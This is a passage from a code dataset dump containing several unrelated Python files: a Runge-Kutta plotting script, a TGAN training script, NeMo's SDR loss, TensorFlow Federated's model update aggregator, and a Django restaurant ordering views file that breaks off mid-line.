#這裡有做縮放及平移讓所有曲線可以在同一張圖裡呈現\r\n\r\n#\r\n\r\n#Runge-Kutta Classical\r\n#之前書上給的方法中使用最經典的方法\r\nj=start+step\r\nwhile j<=finish:\r\n #對1\r\n k[0]=step*fy1(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n for i in range (1,order):\r\n ck=0\r\n for l in range(0,i):\r\n ck+=c[i][l]*k[l]\r\n k[i]=step*fy1(t+step*d[i],y1+ck,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n y1tmp=y1\r\n for i in range (0,order):\r\n y1tmp+=b[i]*k[i]\r\n\r\n #對2\r\n k[0]=step*fy2(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n for i in range (1,order):\r\n ck=0\r\n for l in range(0,i):\r\n ck+=c[i][l]*k[l]\r\n k[i]=step*fy2(t+step*d[i],y1,y2+ck,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n y2tmp=y2\r\n for i in range (0,order):\r\n y2tmp+=b[i]*k[i]\r\n\r\n #對3\r\n k[0]=step*fy3(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n for i in range (1,order):\r\n ck=0\r\n for l in range(0,i):\r\n ck+=c[i][l]*k[l]\r\n k[i]=step*fy3(t+step*d[i],y1,y2,y3+ck,y4,y5,y6,y7,y8,y9,y10,y11)\r\n y3tmp=y3\r\n for i in range (0,order):\r\n y3tmp+=b[i]*k[i]\r\n\r\n #對4\r\n k[0]=step*fy4(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n for i in range (1,order):\r\n ck=0\r\n for l in range(0,i):\r\n ck+=c[i][l]*k[l]\r\n k[i]=step*fy4(t+step*d[i],y1,y2,y3,y4+ck,y5,y6,y7,y8,y9,y10,y11)\r\n y4tmp=y4\r\n for i in range (0,order):\r\n y4tmp+=b[i]*k[i]\r\n\r\n #對5\r\n k[0]=step*fy5(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n for i in range (1,order):\r\n ck=0\r\n for l in range(0,i):\r\n ck+=c[i][l]*k[l]\r\n k[i]=step*fy5(t+step*d[i],y1,y2,y3,y4,y5+ck,y6,y7,y8,y9,y10,y11)\r\n y5tmp=y5\r\n for i in range (0,order):\r\n y5tmp+=b[i]*k[i]\r\n\r\n #對6\r\n k[0]=step*fy6(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n for i in range (1,order):\r\n ck=0\r\n for l in range(0,i):\r\n ck+=c[i][l]*k[l]\r\n k[i]=step*fy6(t+step*d[i],y1,y2,y3,y4,y5,y6+ck,y7,y8,y9,y10,y11)\r\n y6tmp=y6\r\n for i in range (0,order):\r\n y6tmp+=b[i]*k[i]\r\n\r\n #對7\r\n k[0]=step*fy7(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n for i in range (1,order):\r\n ck=0\r\n for l in range(0,i):\r\n ck+=c[i][l]*k[l]\r\n k[i]=step*fy7(t+step*d[i],y1,y2,y3,y4,y5,y6,y7+ck,y8,y9,y10,y11)\r\n y7tmp=y7\r\n for i in range (0,order):\r\n y7tmp+=b[i]*k[i]\r\n\r\n #對8\r\n k[0]=step*fy8(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n for i in range (1,order):\r\n ck=0\r\n for l in range(0,i):\r\n ck+=c[i][l]*k[l]\r\n k[i]=step*fy8(t+step*d[i],y1,y2,y3,y4,y5,y6,y7,y8+ck,y9,y10,y11)\r\n y8tmp=y8\r\n for i in range (0,order):\r\n y8tmp+=b[i]*k[i]\r\n\r\n #對9\r\n k[0]=step*fy9(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n for i in range (1,order):\r\n ck=0\r\n for l in range(0,i):\r\n ck+=c[i][l]*k[l]\r\n k[i]=step*fy9(t+step*d[i],y1,y2,y3,y4,y5,y6,y7,y8,y9+ck,y10,y11)\r\n y9tmp=y9\r\n for i in range (0,order):\r\n y9tmp+=b[i]*k[i]\r\n\r\n #對10\r\n k[0]=step*fy10(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n for i in range (1,order):\r\n ck=0\r\n for l in range(0,i):\r\n ck+=c[i][l]*k[l]\r\n k[i]=step*fy10(t+step*d[i],y1,y2,y3,y4,y5,y6,y7,y8,y9,y10+ck,y11)\r\n y10tmp=y10\r\n for i in range (0,order):\r\n y10tmp+=b[i]*k[i]\r\n\r\n #對11\r\n k[0]=step*fy11(t,y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11)\r\n for i in range (1,order):\r\n ck=0\r\n for l in range(0,i):\r\n ck+=c[i][l]*k[l]\r\n k[i]=step*fy11(t+step*d[i],y1,y2,y3,y4,y5,y6,y7,y8,y9,y10,y11+ck)\r\n y11tmp=y11\r\n for i in range (0,order):\r\n y11tmp+=b[i]*k[i]\r\n #上面都在做迭代\r\n t1=t+step\r\n #將迭代後的數值加入最後的陣列\r\n tvals.append(t1)\r\n I_of_t.append(I_in(t1)/10-0.05)\r\n t=t1\r\n y1=y1tmp\r\n y2=y2tmp\r\n y3=y3tmp\r\n y4=y4tmp\r\n y5=y5tmp\r\n y6=y6tmp\r\n y7=y7tmp\r\n y8=y8tmp\r\n y9=y9tmp\r\n y10=y10tmp\r\n y11=y11tmp\r\n j+=step\r\n Flux1.append((y1+y3)*Lambda)\r\n Flux2.append((y5+y7)*Lambda)\r\n#\r\n\r\n#畫圖\r\n\r\nplt.plot(tvals,Flux1)\r\nplt.plot(tvals,Flux2)\r\nplt.plot(tvals,I_of_t)\r\nplt.xlabel(\"Time(arb.units)\")\r\nplt.ylabel(\"Flux(arb.units)\")\r\nplt.ylim(-0.1,0.6)\r\nplt.title(\"FIG6\")\r\n\r\nplt.show()\r\n#plt.savefig(\"FIG6.png\",dpi=300,format=\"png\")\r\n#如果要存檔就把上一行的井字號去掉\r\n#\r\n","sub_path":"Python_source_code_and_figure/Excitatory_synaptic_coupling/FIG6.py","file_name":"FIG6.py","file_ext":"py","file_size_in_byte":6678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"575919396","text":"from tgan.data import load_demo_data\nfrom tgan.model import TGANModel\nimport os\nimport pandas as pd\nimport numpy as np\n\nif __name__ == '__main__':\n os.environ['CUDA_VISIBLE_DEVICES'] = '1'\n\n data = pd.read_csv('../data/adult_dataset.csv', index_col=None)\n data = data.reindex(np.random.permutation(data.index))\n # data = data[:1000]\n columns = data.columns\n continuous_columns = [0, 2, 4, 10, 11, 12]\n continuous_columns_names = [columns[i] for i in continuous_columns]\n\n print(data.head(5).T)\n\n tgan = TGANModel(\n continuous_columns,\n output='output',\n max_epoch=5,\n steps_per_epoch=10000,\n save_checkpoints=True,\n restore_session=False,\n batch_size=200,\n z_dim=200,\n noise=0.2,\n l2norm=0.00001,\n learning_rate=0.001,\n num_gen_rnn=100,\n num_gen_feature=100,\n num_dis_layers=1,\n num_dis_hidden=100,\n optimizer='AdamOptimizer'\n )\n\n tgan.fit(data)\n\n num_samples = data.shape[0]\n generated_data = tgan.sample(num_samples)\n generated_data.columns = columns\n for column in continuous_columns_names:\n generated_data[column] = generated_data[column].astype(int)\n print(generated_data.head(5).T)\n generated_data.to_csv('generated_data.csv', index=None)\n tgan.save('./tgan.pkl', force=True)\n","sub_path":"tgan/tgan_adult.py","file_name":"tgan_adult.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"267405960","text":"# Copyright (c) 2022, NVIDIA CORPORATION. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nfrom typing import List, Optional\n\nimport numpy as np\nimport torch\n\nfrom nemo.core.classes import Loss, Typing, typecheck\nfrom nemo.core.neural_types import AudioSignal, LengthsType, LossType, MaskType, NeuralType\nfrom nemo.utils import logging\n\n__all__ = ['SDRLoss']\n\n\ndef temporal_mean(\n input: torch.Tensor,\n input_length: Optional[torch.Tensor] = None,\n mask: Optional[torch.Tensor] = None,\n keepdim: bool = False,\n eps: float = 1e-10,\n) -> torch.Tensor:\n \"\"\"Calculate mean along temporal dimension with optionally\n averaging only over valid samples (based on the input length).\n\n Args:\n input: Batch of signals, shape (B, T, C)\n input_length: Optional, length of each example in the batch, shape (B,)\n mask: Optional, temporal mask for each example in the batch, shape (B, T)\n keepdim: Whether to keep the temporal dimension\n eps: Regularization to avoid division by zero\n\n Returns:\n (B, C, 1) if keepdim=True, otherwise (B, C)\n \"\"\"\n if (input_length is not None) and (mask is not None):\n raise RuntimeError(\n 'Argument `input_length` is mutually exclusive with `mask`. Both cannot be used at the same time.'\n )\n\n if input_length is None and mask is None:\n # No length information, assume all samples are valid\n mean = torch.mean(input, dim=-1, keepdim=keepdim)\n elif input_length is not None:\n assert (input_length <= input.shape[-1]).all(), f'Check input length {input_length}, input shape {input.shape}'\n # Average only over valid elements\n mean = []\n for b, b_len in enumerate(input_length):\n mean_b = torch.sum(input[b, :, :b_len], axis=-1, keepdim=keepdim) / b_len\n mean.append(mean_b)\n mean = torch.stack(mean, axis=0)\n elif mask is not None:\n # Average using temporal mask\n mean = mask.unsqueeze(1) * input\n mean = torch.sum(mean, axis=-1, keepdim=keepdim)\n normalization = torch.sum(mask, axis=-1, keepdim=keepdim)\n mean = mean / (normalization.unsqueeze(1) + eps)\n else:\n raise RuntimeError(f'Unexpected input with both input_length and mask provided.')\n\n return mean\n\n\ndef calculate_sdr_batch(\n estimate: torch.Tensor,\n target: torch.Tensor,\n input_length: Optional[torch.Tensor] = None,\n mask: Optional[torch.Tensor] = None,\n scale_invariant: bool = False,\n remove_mean: bool = True,\n sdr_max: Optional[float] = None,\n eps: float = 1e-10,\n) -> torch.Tensor:\n \"\"\"Calculate signal-to-distortion ratio per channel.\n\n SDR = 10 * log10( ||t||_2^2 / (||e-t||_2^2 + alpha * ||t||^2)\n\n where\n alpha = 10^(-sdr_max/10)\n\n Optionally, apply scale-invariant scaling on the target signal.\n\n Args:\n estimate: estimated signal, shape (B, T, C)\n target: target signal, shape (B, T, C)\n input_length: Optional, length of valid samples, shape (B,)\n mask: Optional, temporal mask, shape (B, T)\n scale_invariant: Use scale invariant SDR\n remove_mean: If True, mean will be removed before calculating SDR\n eps: Small regularization constant\n\n Returns:\n SDR in dB for each channel, shape (B, C)\n \"\"\"\n assert (\n estimate.shape == target.shape\n ), f'Estimate shape ({estimate.shape}) not matching target shape ({target.shape})'\n\n if remove_mean:\n estimate = estimate - temporal_mean(estimate, input_length=input_length, mask=mask, keepdim=True, eps=eps)\n target = target - temporal_mean(target, input_length=input_length, mask=mask, keepdim=True, eps=eps)\n\n if scale_invariant:\n estimate_dot_target = temporal_mean(\n estimate * target, input_length=input_length, mask=mask, keepdim=True, eps=eps\n )\n target_pow = temporal_mean(torch.abs(target) ** 2, input_length=input_length, mask=mask, keepdim=True, eps=eps)\n target_scale = estimate_dot_target / (target_pow + eps)\n target = target_scale * target\n\n distortion = estimate - target\n\n target_pow = temporal_mean(torch.abs(target) ** 2, input_length=input_length, mask=mask, eps=eps)\n distortion_pow = temporal_mean(torch.abs(distortion) ** 2, input_length=input_length, mask=mask, eps=eps)\n\n if sdr_max is not None:\n distortion_pow = distortion_pow + 10 ** (-sdr_max / 10) * target_pow\n\n sdr = target_pow / (distortion_pow + eps)\n sdr = 10 * torch.log10(sdr + eps)\n\n return sdr\n\n\nclass SDRLoss(Loss, Typing):\n \"\"\"\n Computes signal-to-distortion ratio (SDR) loss with weighted average across channels.\n\n Args:\n weight: weight for SDR of each output channel, used for averaging the loss across channels. Defaults to `None` (averaging).\n reduction: batch reduction. Defaults to `mean` over the batch.\n scale_invariant: If `True`, use scale-invariant SDR. Defaults to `False`.\n remove_mean: Remove mean before calculating the loss. Defaults to `True`.\n sdr_max: Soft thresholding of the loss to SDR_max.\n eps: Small value for regularization.\n \"\"\"\n\n def __init__(\n self,\n weight: Optional[List[float]] = None,\n reduction: str = 'mean',\n scale_invariant: bool = False,\n remove_mean: bool = True,\n sdr_max: Optional[float] = None,\n eps: float = 1e-10,\n ):\n super().__init__()\n\n # SDR weight buffer\n if weight is not None:\n if any([w <= 0 for w in weight]):\n raise ValueError(f'Weight must be positive! Current value: {weight}')\n elif not np.isclose(sum(weight), 1, atol=1e-6):\n raise ValueError(f'Weight should add to one, current weight: {weight}')\n weight = torch.tensor(weight).reshape(1, -1)\n logging.info(f'Channel weight set to %s', weight)\n self.register_buffer('weight', weight)\n self.weight: Optional[Tensor]\n\n # Batch reduction\n self.reduction = reduction\n if reduction == 'mean':\n self.reduce = torch.mean\n else:\n raise ValueError(f'Unexpected reduction mode {reduction}.')\n\n # SDR calculation setup\n self.scale_invariant = scale_invariant\n self.remove_mean = remove_mean\n self.sdr_max = sdr_max\n self.eps = eps\n\n @property\n def input_types(self):\n \"\"\"Input types definitions for SDRLoss.\n \"\"\"\n signal_shape = ('B', 'C', 'T')\n return {\n \"estimate\": NeuralType(signal_shape, AudioSignal()),\n \"target\": NeuralType(signal_shape, AudioSignal()),\n \"input_length\": NeuralType(tuple('B'), LengthsType(), optional=True),\n \"mask\": NeuralType(('B', 'T'), MaskType(), optional=True),\n }\n\n @property\n def output_types(self):\n \"\"\"Output types definitions for SDRLoss.\n loss:\n NeuralType(None)\n \"\"\"\n return {\"loss\": NeuralType(elements_type=LossType())}\n\n @typecheck()\n def forward(\n self,\n estimate: torch.Tensor,\n target: torch.Tensor,\n input_length: Optional[torch.Tensor] = None,\n mask: Optional[torch.Tensor] = None,\n ) -> torch.Tensor:\n \"\"\"For input batch of multi-channel signals, calculate SDR between estimate and target for each channel,\n perform averaging across channels (weighting optional), and apply reduction across the batch.\n\n Args:\n estimate: Batch of signals, shape (B, T, C)\n target: Batch of signals, shape (B, T, C)\n input_length: Batch of lengths, shape (B,)\n mask: Batch of temporal masks, shape (B, T)\n\n Returns:\n Scalar loss.\n \"\"\"\n\n sdr = calculate_sdr_batch(\n estimate=estimate,\n target=target,\n input_length=input_length,\n mask=mask,\n scale_invariant=self.scale_invariant,\n remove_mean=self.remove_mean,\n sdr_max=self.sdr_max,\n eps=self.eps,\n )\n\n # channel averaging\n if self.weight is None:\n sdr = torch.mean(sdr, dim=1)\n else:\n # weighting across channels\n sdr = sdr * self.weight\n sdr = torch.sum(sdr, dim=1)\n\n # reduction\n sdr = self.reduce(sdr)\n\n return -sdr\n","sub_path":"nemo/collections/asr/losses/audio_losses.py","file_name":"audio_losses.py","file_ext":"py","file_size_in_byte":8941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"641034889","text":"# Copyright 2020, The TensorFlow Federated Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Generic aggregator for model updates in federated averaging.\"\"\"\n\nimport math\nfrom typing import Optional, Union\n\nimport attr\nimport tensorflow as tf\nimport tensorflow_privacy as tfp\n\nfrom tensorflow_federated.python.aggregators import clipping_factory\nfrom tensorflow_federated.python.aggregators import dp_factory\nfrom tensorflow_federated.python.aggregators import factory\nfrom tensorflow_federated.python.aggregators import mean_factory\nfrom tensorflow_federated.python.aggregators import quantile_estimation\nfrom tensorflow_federated.python.core.api import computation_types\nfrom tensorflow_federated.python.core.api import computations\nfrom tensorflow_federated.python.core.api import intrinsics\n\n\nAggregationFactory = Union[factory.WeightedAggregationFactory,\n factory.UnweightedAggregationFactory]\n\n\ndef _check_positive(instance, attribute, value):\n if value <= 0:\n raise ValueError(f'{attribute.name} must be positive. Found {value}.')\n\n\ndef _check_nonnegative(instance, attribute, value):\n if value < 0:\n raise ValueError(f'{attribute.name} must be nonnegative. Found {value}.')\n\n\ndef _check_probability(instance, attribute, value):\n if not 0 <= value <= 1:\n raise ValueError(f'{attribute.name} must be between 0 and 1 (inclusive). '\n f'Found {value}.')\n\n\ndef _affine_transform(multiplier, increment):\n transform_tf_comp = computations.tf_computation(\n lambda value: multiplier * value + increment, tf.float32)\n return computations.federated_computation(\n lambda value: intrinsics.federated_map(transform_tf_comp, value),\n computation_types.at_server(tf.float32))\n\n\n@attr.s(frozen=True, kw_only=True)\nclass AdaptiveZeroingConfig:\n \"\"\"Config for adaptive zeroing based on a quantile estimate.\n\n Estimates value at quantile `Z` of value norm distribution and zeroes out\n values whose norm is greater than `rZ + i` for multiplier `r` and increment\n `i`. The quantile `Z` is estimated using the geometric method described in\n Thakkar et al. 2019, \"Differentially Private Learning with Adaptive\n Clipping\" (https://arxiv.org/abs/1905.03871) without noise added (so not\n differentially private).\n\n Default values are recommended for adaptive zeroing for data corruption\n mitigation.\n\n Attributes:\n initial_quantile_estimate: The initial estimate of `Z`.\n target_quantile: The quantile to which `Z` will be adapted.\n learning_rate: The learning rate for the adaptive algorithm.\n multiplier: The multiplier `r` to determine the zeroing norm.\n increment: The increment `i` to determine the zeroing norm.\n \"\"\"\n\n initial_quantile_estimate: float = attr.ib(\n default=10.0,\n validator=[attr.validators.instance_of(float), _check_positive],\n converter=float)\n\n target_quantile: float = attr.ib(\n default=0.98,\n validator=[attr.validators.instance_of(float), _check_probability],\n converter=float)\n\n learning_rate: float = attr.ib(\n default=math.log(10),\n validator=[attr.validators.instance_of(float), _check_positive],\n converter=float)\n\n multiplier: float = attr.ib(\n default=2.0,\n validator=[attr.validators.instance_of(float), _check_positive],\n converter=float)\n\n increment: float = attr.ib(\n default=1.0,\n validator=[attr.validators.instance_of(float), _check_positive],\n converter=float)\n\n\ndef _build_quantile_estimation_process(initial_estimate, target_quantile,\n learning_rate):\n return quantile_estimation.PrivateQuantileEstimationProcess(\n tfp.NoPrivacyQuantileEstimatorQuery(\n initial_estimate=initial_estimate,\n target_quantile=target_quantile,\n learning_rate=learning_rate,\n geometric_update=True))\n\n\ndef _apply_zeroing(config: AdaptiveZeroingConfig,\n inner_factory: AggregationFactory) -> AggregationFactory:\n \"\"\"Applies zeroing to `inner_factory` according to `config`.\"\"\"\n zeroing_quantile = _build_quantile_estimation_process(\n config.initial_quantile_estimate, config.target_quantile,\n config.learning_rate)\n zeroing_norm = zeroing_quantile.map(\n _affine_transform(config.multiplier, config.increment))\n return clipping_factory.ZeroingFactory(\n zeroing_norm, inner_factory, norm_order=float('inf'))\n\n\n@attr.s(frozen=True)\nclass FixedClippingConfig:\n \"\"\"Config for clipping to a fixed value.\n\n Attributes:\n clip: The fixed clipping norm.\n \"\"\"\n\n clip: float = attr.ib(\n validator=[attr.validators.instance_of(float), _check_positive],\n converter=float)\n\n\n@attr.s(frozen=True, kw_only=True)\nclass AdaptiveClippingConfig:\n \"\"\"Config for adaptive clipping based on a quantile estimate.\n\n Estimates value at quantile `C` of value norm distribution and clips\n values whose norm is greater than `C`. The quantile is estimated using the\n geometric method described in Thakkar et al. 2019, \"Differentially Private\n Learning with Adaptive Clipping\" (https://arxiv.org/abs/1905.03871) without\n noise added (so not differentially private).\n\n Default values are recommended for adaptive clipping for robustness.\n\n Attributes:\n initial_clip: The initial estimate of `C`.\n target_quantile: The quantile to which `C` will be adapted.\n learning_rate: The learning rate for the adaptive algorithm.\n \"\"\"\n\n initial_clip: float = attr.ib(\n default=1.0,\n validator=[attr.validators.instance_of(float), _check_positive],\n converter=float)\n\n target_quantile: float = attr.ib(\n default=0.8,\n validator=[attr.validators.instance_of(float), _check_probability],\n converter=float)\n\n learning_rate: float = attr.ib(\n default=0.2,\n validator=[attr.validators.instance_of(float), _check_positive],\n converter=float)\n\n\nClippingConfig = Union[FixedClippingConfig, AdaptiveClippingConfig]\n\n\ndef _apply_clipping(config: ClippingConfig,\n inner_factory: AggregationFactory) -> AggregationFactory:\n \"\"\"Applies clipping to `inner_factory` according to `config`.\"\"\"\n if isinstance(config, FixedClippingConfig):\n return clipping_factory.ClippingFactory(config.clip, inner_factory)\n elif isinstance(config, AdaptiveClippingConfig):\n clipping_quantile = _build_quantile_estimation_process(\n config.initial_clip, config.target_quantile, config.learning_rate)\n return clipping_factory.ClippingFactory(clipping_quantile, inner_factory)\n else:\n raise TypeError(f'config is not a supported type of ClippingConfig. Found '\n f'type {type(config)}.')\n\n\n@attr.s(frozen=True, kw_only=True)\nclass DifferentialPrivacyConfig:\n \"\"\"A config class for differential privacy with recommended defaults.\n\n Attributes:\n noise_multiplier: The ratio of the noise standard deviation to the clip\n norm.\n clients_per_round: The number of clients per round.\n clipping: A FixedClippingConfig or AdaptiveClippingConfig specifying the\n type of clipping. Defaults to an adaptive clip process that starts small\n and adapts moderately quickly to the median.\n clipped_count_stddev: The standard deviation of the clipped count estimate,\n for private adaptation of the clipping norm. If unspecified, defaults to a\n value that gives maximal privacy without disrupting the adaptive clipping\n norm process too greatly.\n \"\"\"\n\n noise_multiplier: float = attr.ib(\n validator=[attr.validators.instance_of(float), _check_nonnegative],\n converter=float)\n\n clients_per_round: float = attr.ib(\n validator=[attr.validators.instance_of(float), _check_positive],\n converter=float)\n\n clipping: ClippingConfig = attr.ib(\n default=AdaptiveClippingConfig(\n initial_clip=1e-1, target_quantile=0.5, learning_rate=0.2),\n validator=attr.validators.instance_of(\n (FixedClippingConfig, AdaptiveClippingConfig)))\n\n clipped_count_stddev: float = attr.ib(\n validator=[attr.validators.instance_of(float), _check_nonnegative],\n converter=float)\n\n @clipped_count_stddev.default\n def _set_default_clipped_count_stddev(self):\n # Default to 0.05 * clients_per_round. This way the noised fraction\n # of unclipped updates will be within 0.1 of the true fraction with\n # 95.4% probability, and will be within 0.15 of the true fraction with\n # 99.7% probability. Even in this unlikely case, the error on the update\n # would be a factor of exp(0.15) = 1.16, not a huge deviation. So this\n # default gives maximal privacy for acceptable probability of deviation.\n return 0.05 * self.clients_per_round\n\n\ndef _dp_factory(\n config: DifferentialPrivacyConfig\n) -> dp_factory.DifferentiallyPrivateFactory:\n \"\"\"Creates DifferentiallyPrivateFactory based on config settings.\"\"\"\n if isinstance(config.clipping, FixedClippingConfig):\n stddev = config.clipping.clip * config.noise_multiplier\n query = tfp.GaussianAverageQuery(\n l2_norm_clip=config.clipping.clip,\n sum_stddev=stddev,\n denominator=config.clients_per_round)\n elif isinstance(config.clipping, AdaptiveClippingConfig):\n query = tfp.QuantileAdaptiveClipAverageQuery(\n initial_l2_norm_clip=config.clipping.initial_clip,\n noise_multiplier=config.noise_multiplier,\n denominator=config.clients_per_round,\n target_unclipped_quantile=config.clipping.target_quantile,\n learning_rate=config.clipping.learning_rate,\n clipped_count_stddev=config.clipped_count_stddev,\n expected_num_records=config.clients_per_round,\n geometric_update=True)\n else:\n raise TypeError(\n f'config.clipping is not a supported type of ClippingConfig. Found '\n f'type {type(config.clipping)}.')\n\n return dp_factory.DifferentiallyPrivateFactory(query)\n\n\ndef model_update_aggregator(\n zeroing: Optional[AdaptiveZeroingConfig] = AdaptiveZeroingConfig(),\n clipping_and_noise: Optional[Union[ClippingConfig,\n DifferentialPrivacyConfig]] = None\n) -> AggregationFactory:\n \"\"\"Builds aggregator for model updates in FL according to configs.\n\n The default aggregator (produced if no arguments are overridden) performs\n mean with adaptive zeroing for robustness. To turn off adaptive zeroing set\n `zeroing=None`. (Adaptive) clipping and/or differential privacy can\n optionally be enabled by setting `clipping_and_noise`.\n\n Args:\n zeroing: A ZeroingConfig. If None, no zeroing will be performed.\n clipping_and_noise: An optional ClippingConfig or DifferentialPrivacyConfig.\n If unspecified, no clipping or noising will be performed.\n\n Returns:\n A `factory.WeightedAggregationFactory` intended for model update aggregation\n in federated averaging with zeroing and clipping for robustness.\n \"\"\"\n if not clipping_and_noise:\n factory_ = mean_factory.MeanFactory()\n elif isinstance(clipping_and_noise, ClippingConfig):\n factory_ = _apply_clipping(clipping_and_noise, mean_factory.MeanFactory())\n elif isinstance(clipping_and_noise, DifferentialPrivacyConfig):\n factory_ = _dp_factory(clipping_and_noise)\n else:\n raise TypeError(f'clipping_and_noise must be a supported type of clipping '\n f'or noise config. Found type {type(clipping_and_noise)}.')\n if zeroing:\n factory_ = _apply_zeroing(zeroing, factory_)\n return factory_\n","sub_path":"tensorflow_federated/python/learning/model_update_aggregator.py","file_name":"model_update_aggregator.py","file_ext":"py","file_size_in_byte":11920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"76110534","text":"from django.http import HttpResponse, HttpResponseRedirect\r\nfrom .models import Dishes, DishNum, OrdList, OrdDish\r\nfrom django.shortcuts import redirect, render, reverse, get_object_or_404\r\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\r\nimport account\r\nfrom django import forms\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.http import Http404\r\n\r\ndef index(request, template_name):\r\n if request.user.is_authenticated:\r\n admin = (request.user.userprofile.permition == account.models.UserProfile.ADMIN)\r\n else:\r\n admin = False\r\n dishes_list = Dishes.objects.all()\r\n page = request.GET.get('page', 1)\r\n\r\n paginator = Paginator(dishes_list, 10)\r\n try:\r\n dishes = paginator.page(page)\r\n except PageNotAnInteger:\r\n dishes = paginator.page(1)\r\n except EmptyPage:\r\n dishes = paginator.page(paginator.num_pages)\r\n\r\n return render(request, template_name, {'admin':admin, 'dishes': dishes })\r\n\r\nclass AddForm(forms.Form):\r\n name = forms.CharField(label='name', max_length=200)\r\n type = forms.CharField(label='type', max_length=200)\r\n price = forms.IntegerField(label='price')\r\n intro = forms.CharField(label='introduction', max_length=500)\r\n picture = forms.ImageField(required=False)\r\n\r\n@login_required\r\ndef add(request, template_name):\r\n user=request.user\r\n admin = (user.userprofile.permition == account.models.UserProfile.ADMIN)\r\n if not admin:\r\n return redirect(reverse(index))\r\n if request.method == 'GET':\r\n return render(request, template_name, {'form':AddForm()})\r\n elif request.method == 'POST':\r\n form = AddForm(request.POST, request.FILES)\r\n if form.is_valid():\r\n m = Dishes()\r\n m.name = form.cleaned_data['name']\r\n m.type = form.cleaned_data['type']\r\n m.price = form.cleaned_data['price']\r\n m.intro = form.cleaned_data['intro']\r\n picture = form.cleaned_data['picture']\r\n if picture:\r\n m.picture = picture\r\n m.save()\r\n DishNum(dish=m, num=0).save()\r\n return HttpResponseRedirect(reverse(index))\r\n return HttpResponse('Upload failed')\r\n \r\n@login_required\r\ndef delete(request, pk):\r\n user=request.user\r\n admin = (user.userprofile.permition == account.models.UserProfile.ADMIN)\r\n if admin:\r\n dish=get_object_or_404(Dishes,pk=pk)\r\n dish.delete()\r\n next=request.GET.get('next', reverse(index))\r\n return HttpResponseRedirect(next)\r\n\r\ndef detail(request, template_name, pk):\r\n if request.user.is_authenticated:\r\n admin = (request.user.userprofile.permition == account.models.UserProfile.ADMIN)\r\n else:\r\n admin = False\r\n dish=get_object_or_404(Dishes, pk=pk)\r\n num = dish.dishnum\r\n if request.method == 'POST':\r\n if admin:\r\n new_num=request.POST.get('num',int(num.num))\r\n print (new_num)\r\n num.num=new_num\r\n num.save()\r\n HttpResponseRedirect(request.path)\r\n \r\n return render(request, template_name, {'admin':admin, 'dish': dish ,'num': num.num})\r\n\r\n@login_required\r\ndef reservation(request, template_name, pk):\r\n dish=get_object_or_404(Dishes, pk=pk)\r\n if request.method == 'POST':\r\n num=int(request.POST.get('num',0))\r\n ordlist=get_object_or_404(OrdList, pk=request.POST.get('ordlist',0))\r\n if dish.dishnum.num < num:\r\n return HttpResponse('No enough backup to ord')\r\n dish.dishnum.num -= num\r\n dish.dishnum.save()\r\n l=OrdDish.objects.filter(ordlist=ordlist, dish=dish);\r\n if l:\r\n l[0].num+=num;\r\n l[0].save()\r\n else:\r\n OrdDish(ordlist=ordlist, dish=dish, num=num).save()\r\n return HttpResponseRedirect(reverse(index))\r\n \r\n else:\r\n ols = OrdList.objects.filter(customer=request.user,stage=OrdList.PRE)\r\n return render(request, template_name, {'dish':dish,'ols':ols})\r\n\r\n@login_required\r\ndef newlist(request,template_name):\r\n if request.method == 'POST':\r\n table=request.POST.get('table',0)\r\n ol=OrdList(customer=request.user,table=table,stage=OrdList.PRE)\r\n ol.save()\r\n next=request.GET.get('next', reverse(index))\r\n return HttpResponseRedirect(next)\r\n else:\r\n return render(request, template_name)\r\n\r\n@login_required\r\ndef lists(request,template_name):\r\n user=request.user\r\n admin = (user.userprofile.permition == account.models.UserProfile.ADMIN)\r\n if admin:\r\n ols=OrdList.objects.all()\r\n else:\r\n ols=OrdList.objects.filter(customer=request.user)\r\n return render(request, template_name, {'ols':ols})\r\n\r\n\r\n@login_required\r\ndef listdetail(request,template_name,pk):\r\n ordlist=get_object_or_404(OrdList, pk=pk)\r\n user=request.user\r\n admin = (user.userprofile.permition == account.models.UserProfile.ADMIN)\r\n if not admin and ordlist.customer != user:\r\n return HttpResponse('You have no access to this ordlist')\r\n dishes=OrdDish.objects.filter(ordlist=ordlist)\r\n stage_choices=OrdList.STAGE_CHOICES\r\n if request.method == 'POST':\r\n if not admin:\r\n return HttpResponse('You can not change list state!')\r\n stage=request.POST.get('stage', 